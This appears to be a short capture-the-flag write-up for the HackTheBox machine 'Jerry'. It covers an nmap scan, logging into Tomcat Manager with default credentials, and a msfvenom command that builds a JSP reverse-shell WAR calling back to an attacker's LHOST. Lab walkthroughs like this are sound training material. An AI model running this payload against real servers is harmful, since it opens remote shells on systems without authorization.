← all writeups

Jerry

HackTheBox Windows Easy
#htb#windows#tomcat#default-creds#war

Retired machine. Credentials and flags redacted - solve it yourself.

Summary

Apache Tomcat Manager with default credentials → deploy a malicious WAR → shell as NT AUTHORITY\SYSTEM.

Enumeration

nmap -sC -sV -p- 10.129.136.9 -v
8080/tcp open  http  Apache Tomcat/Coyote JSP engine 1.1 (Tomcat 7.0.88)

Exploitation

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT=<your-port> -f war > shell.war

Post-Exploitation

Both flags were in the flags folder on the Administrator and Guest desktops.

Lessons Learned